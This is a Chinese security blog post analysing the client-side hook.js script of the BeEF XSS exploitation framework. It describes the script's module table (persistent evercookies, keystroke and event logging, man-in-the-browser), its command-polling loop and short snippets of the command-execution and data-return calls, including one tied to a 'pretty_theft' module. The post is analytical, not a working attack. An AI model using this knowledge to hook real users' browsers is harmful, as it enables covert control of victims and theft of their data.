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<h1 class="entry-title"><a href="https://kingx.me/beef-xss-framework-exploit.html" rel="bookmark" title="BeEF XSS利用框架客户端脚本浅析">BeEF XSS利用框架客户端脚本浅析</a></h1>
<h2><span class="entry-date date published"><time datetime="2012-11-14T00:00:00-05:00">November 14, 2012, KINGX</time></span></h2>
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<span class="entry-tags" style="color:red;font-size:13px;margin-bottom: 0px;">「声明：本博客中涉及到的相关漏洞均为官方已经公开并修复的漏洞，涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。」</span>
<p>BeEF是比较著名的一个XSS利用框架，它是交互界面友好、高度集成、开源、活跃度较高的一个项目。</p>
<p>在BT5中也集成了BeEF。跟国外其他渗透测试项目一样，它也可以和其他很多工具结合使用，如MSF。但是网上相关资料不太好找，于是前段时间自己看了一下BeEF的客户端JS脚本代码。</p>
<p>BeEF框架客户端脚本文件hook.js的主要结构如下：</p>
<table rules="groups">
<thead>
<tr>
<th style="text-align: left">JS模块</th>
<th style="text-align: center">功能分析</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">jquery</td>
<td style="text-align: center">jequry库</td>
</tr>
<tr>
<td style="text-align: left">evercookie</td>
<td style="text-align: center">cookie僵尸，利用多处存放、相互依存的方式保证cookie的不可销毁。</td>
</tr>
</tbody>
<tbody>
<tr>
<td style="text-align: left">beef</td>
<td style="text-align: center">主要包括: <br />1. commands数组等来存放从服务器获得的指令。<br />2. components数组来存放模块。<br />3. execute(fn)将待执行函数压入commands数组队列。<br />4. regCmp(com)将模块压入components数组</td>
</tr>
</tbody>
<tbody>
<tr>
<td style="text-align: left">beef.browser</td>
<td style="text-align: center">获得和存放浏览器信息的对象。getdetail返回存放浏览器详细信息的数组。</td>
</tr>
<tr>
<td style="text-align: left">beef.browser.cookie</td>
<td style="text-align: center">对浏览器cookie进行操作的函数。</td>
</tr>
<tr>
<td style="text-align: left">beef.browser.popup</td>
<td style="text-align: center">判断浏览器是否拦截弹窗。(貌似判断的不太准确)</td>
</tr>
<tr>
<td style="text-align: left">beef.session</td>
<td style="text-align: center">创建和管理一个Zombie的session标识。</td>
</tr>
<tr>
<td style="text-align: left">beef.os</td>
<td style="text-align: center">通过浏览器ua判断Zombie的操作系统。注册为beef.net.os</td>
</tr>
<tr>
<td style="text-align: left">beef.hardware</td>
<td style="text-align: center">通过浏览器ua判断Zombie的设备类型。注册为beef.net.hardware</td>
</tr>
<tr>
<td style="text-align: left">beef.dom</td>
<td style="text-align: center">对浏览器dom对象的操作，创建iframe、form、更换链接地址等等。</td>
</tr>
<tr>
<td style="text-align: left">beef.logge</td>
<td style="text-align: center">客户端的事件记录器，click、focus、submit、keypress等，并将捕获的数据存储，调用logger.queue函数将data传给beef.net.queue</td>
</tr>
<tr>
<td style="text-align: left">beef.encode</td>
<td style="text-align: center">定义了一些编码，base64编码、json解析等</td>
</tr>
<tr>
<td style="text-align: left">beef.net</td>
<td style="text-align: center">客户端与服务端之间的通信，对请求与响应的处理进行封装。包括向服务器命令执行结果、提交请求并处理服务器返回的相应。定义了服务端IP、端口、hook文件、handler文件等 。</td>
</tr>
<tr>
<td style="text-align: left">beef.updater</td>
<td style="text-align: center">循环获得服务器js指令并执行。定义了指令的获取和执行等函数。</td>
</tr>
<tr>
<td style="text-align: left">beef.mitb</td>
<td style="text-align: center">浏览器中间人</td>
</tr>
<tr>
<td style="text-align: left">beef.net.local</td>
<td style="text-align: center">其他</td>
</tr>
<tr>
<td style="text-align: left">beef.net.dns</td>
<td style="text-align: center">其他</td>
</tr>
<tr>
<td style="text-align: left">beef.are</td>
<td style="text-align: center">其他</td>
</tr>
</tbody>
<tbody>
<tr>
<td style="text-align: left">init代码段</td>
<td style="text-align: center">初始化：执行完指令队列内的指令、开始事件记录、执行updater.check()循环。</td>
</tr>
</tbody>
<tfoot>
<tr>
<td style="text-align: left">JS模块</td>
<td style="text-align: center">功能分析</td>
</tr>
</tfoot>
</table>
<h3 id="关于客户端指令的获取和执行">关于客户端指令的获取和执行</h3>
<p>hook.js会将初始化函数与window.onload事件绑定，在进行初始化时会调用beef.updater的check()方法。该方法会循环执行。首先保存事件键盘记录logger的为保存数据，再上传所有结果队列cmd_queue中的数据，然后判断指令队列commands中长度是否大于零，是则执行命令，否则通过ajax从服务器端请求文件，请求类型为script，即获取脚本内容并执行。脚本内容格式为”beef.execute(//指令内容)”，执行后会将指令内容压入待执行的指令队列commands对象中。
如需返回指令执行之后的结果，则指令语句需判断满足某一条件后，调beef.net.send(data)方法，将获得到的数据传回服务端。</p>
<p><strong>指令轮询函数的执行顺序流程</strong></p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="c1">//循环从服务端拉去指令并执行</span>
<span class="nx">updater</span><span class="p">.</span><span class="nx">check</span><span class="p">()</span>
<span class="mi">1</span><span class="p">.</span> <span class="nx">logger</span><span class="p">.</span><span class="nx">queue</span><span class="p">()</span>
<span class="mi">2</span><span class="p">.</span> <span class="nx">net</span><span class="p">.</span><span class="nx">flush</span><span class="p">()</span>
<span class="mi">3</span><span class="p">.</span> <span class="nx">execute_commands</span><span class="p">();</span><span class="nx">get_commands</span><span class="p">();</span>
<span class="mi">4</span><span class="p">.</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="s2">"beef.updater.check();"</span><span class="p">,</span> <span class="nx">beef</span><span class="p">.</span><span class="nx">updater</span><span class="p">.</span><span class="nx">timeout</span><span class="p">);</span>
<span class="c1">//任务/数据队列</span>
<span class="nx">logger</span><span class="p">.</span><span class="nx">queue</span>
<span class="c1">//传进来的result数据处理成net里的command对象，results中字符串数组转换成json对象</span>
<span class="nx">net</span><span class="p">.</span><span class="nx">queue</span><span class="p">()</span>
<span class="c1">//压入队列</span>
<span class="nx">cmd_queue</span><span class="p">.</span><span class="nx">push</span><span class="p">()</span>
<span class="c1">//指令执行结果回传</span>
<span class="nx">net</span><span class="p">.</span><span class="nx">send</span>
<span class="nx">net</span><span class="p">.</span><span class="nx">queue</span> <span class="c1">//将数据压入cmd_queue</span>
<span class="nx">flush</span> <span class="c1">//发送所有cmd_queue队列内的请求,将队列内请求分块</span>
<span class="nx">push</span> <span class="c1">//按照PC分组，逐个发送</span>
<span class="nx">request</span> <span class="c1">//发送请求的底层方法</span></code></pre></figure>
<p><strong>获取的指令的</strong></p>
<p>服务端下发的指令格式为：</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">beef</span><span class="p">.</span><span class="nx">execute</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span><span class="nx">xxx</span><span class="p">});</span>
<span class="c1">//beef.execute将function()压入commands</span></code></pre></figure>
<p><strong>回传结果的例子</strong></p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">beef</span><span class="p">.</span><span class="nx">net</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s1">'/command/pretty_theft.js'</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="s1">'answer='</span><span class="o">+</span><span class="nx">answer</span><span class="p">);</span></code></pre></figure>
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<span class="entry-tags"><a href="https://kingx.me/tags/#xss" title="Pages tagged xss" class="tag"><span class="term">xss</span></a><a href="https://kingx.me/tags/#beef" title="Pages tagged beef" class="tag"><span class="term">beef</span></a></span>
<span>Updated on <span class="entry-date date updated"><time datetime="2016-04-06">April 06, 2016</time></span></span>
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